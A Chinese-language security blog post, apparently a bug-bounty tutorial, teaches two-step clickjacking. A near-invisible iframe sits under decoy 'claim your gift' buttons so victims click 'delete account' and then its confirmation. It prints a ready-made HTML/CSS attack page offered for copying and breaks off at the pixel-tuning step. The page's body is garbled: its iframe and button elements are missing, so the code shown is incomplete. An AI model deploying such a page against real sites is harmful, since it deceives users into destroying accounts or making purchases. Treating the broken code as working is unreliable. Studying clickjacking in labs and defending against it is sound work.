赏金猎人进阶必修课：二次点击劫持从原理到调参，附精细脚本

原创

升斗安全XiuXiu
升斗安全XiuXiu

升斗安全

2026年6月18日 08:18
广东

在小说阅读器读本章

去阅读

【文章说明】

目的：本文内容仅为网络安全技术研究与教育目的而创作。
红线：严禁将本文知识用于任何未授权的非法活动。使用者必须遵守《网络安全法》等相关法律。
责任：任何对本文技术的滥用所引发的后果自负，与本公众号及作者无关。
免责：内容仅供参考，作者不对其准确性、完整性作任何担保。

阅读即代表您同意以上条款。

兄弟们，今天聊个前端攻击里的\"脏套路\"【多步点击劫持】。这玩意儿牛逼在哪？它不靠0day，不搞注入，就凭几个div叠在一起，能让目标用户在毫不知情的情况下，一步一步完成你预设的操作，比如删掉自己的账号、下单买货、改密码……你说邪门不邪门？

我在实战里见过太多人把点击劫持想简单了，以为就是盖个透明iframe等人来点。但真正的精髓在于多步【两步操作】，中间还带确认弹窗的，照样给你安排得明明白白。今天我就用最接地气的方式，把这套组合拳从头拆到尾，顺便附上我调参的祖传脚本，拿走即用。

核心逻辑：三层叠加大法

说白了就三样东西叠在一起：

最底层：目标网站的真实页面（比如用户中心）
中间层：一个几乎完全透明的iframe，盖住目标页面的关键按钮
最上层：两个诱饵按钮，一个写着\"点我领券\"，一个写着\"确认领取\"

用户以为自己在薅羊毛，实际上第一点击中了\"删除账户\"，第二点击中了弹窗里的\"确认删除\"。整个过程行云流水，用户连反应的时间都没有。

这个手法最狠的地方在于利用了用户的惯性思维：第一次点击后弹出确认框，用户会觉得\"哦，这是正常流程\"，顺手就把第二次也点了。心理学+前端漏洞，双杀。

实战操作手册（附脚本）

下面我把完整步骤拆成五个阶段，跟着走一遍，你也能在靶场里复刻出来。

第一阶段：准备工作

登录目标网站的测试账户，进入用户中心页面（/my-account）
打开攻击服务器（Burp Collaborator或你自己搭的exploit server）
准备一杯咖啡，因为接下来的调参可能需要点耐心

第二阶段：搭建攻击载体

把下面这套完整脚本粘贴到攻击服务器的\"Body\"区域。这是经过实战打磨的最终版，注释都给你写好了：

<!DOCTYPE html><html><head>    <meta charset=\"UTF-8\">    <title>多步点击劫持 - 渗透老炮专用</title>    <style>        /* ========== 透明iframe：盖住目标页面 ========== */        iframe {            position: relative;      /* 相对定位，方便叠层 */            width: 500px;           /* 宽度根据目标页面调整，建议从500px起步 */            height: 700px;          /* 高度同理，700px是通用参考值 */            opacity: 0.0001;        /* 几乎完全透明，肉眼看不见，但点击穿透有效 */            z-index: 1;            /* 放在最底层 */            border: none;           /* 去掉边框，更隐蔽 */        }        /* ========== 诱饵按钮：让用户心甘情愿点下去 ========== */        .firstClick, .secondClick {            position: absolute;     /* 绝对定位，精确控制位置 */            z-index: 2;            /* 浮在iframe上层，确保用户点的是诱饵 */            cursor: pointer;       /* 鼠标变手型，增加真实感 */            padding: 12px 28px;            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);            color: #fff;            font-size: 18px;            font-weight: 700;            border: none;            border-radius: 30px;            box-shadow: 0 4px 15px rgba(0,0,0,0.2);            text-align: center;            letter-spacing: 1px;            transition: transform 0.2s;        }        /* 鼠标悬停时的微动效，更逼真 */        .firstClick:hover, .secondClick:hover {            transform: scale(1.05);        }        /* ========== 诱饵1：对齐第一个关键按钮（比如\"删除账户\"） ========== */        .firstClick {            top: 330px;            /* 垂直位置，典型参考值 */            left: 50px;            /* 水平位置，需反复调试 */        }        /* ========== 诱饵2：对齐第二个关键按钮（比如确认框里的\"是\"） ========== */        .secondClick {            top: 285px;            /* 垂直位置，典型参考值 */            left: 225px;           /* 水平位置，需反复调试 */        }    </style></head><body>    <!-- 诱饵1：吸引用户第一次点击 -->    🎁 点我领专属福利    <!-- 诱饵2：吸引用户第二次点击（确认） -->    ✅ 立即领取    <!-- 目标网站：被攻击的页面 -->    </body></html>

第三阶段：调参（灵魂环节）

把脚本粘贴进去后，开始\"像素级校准\"：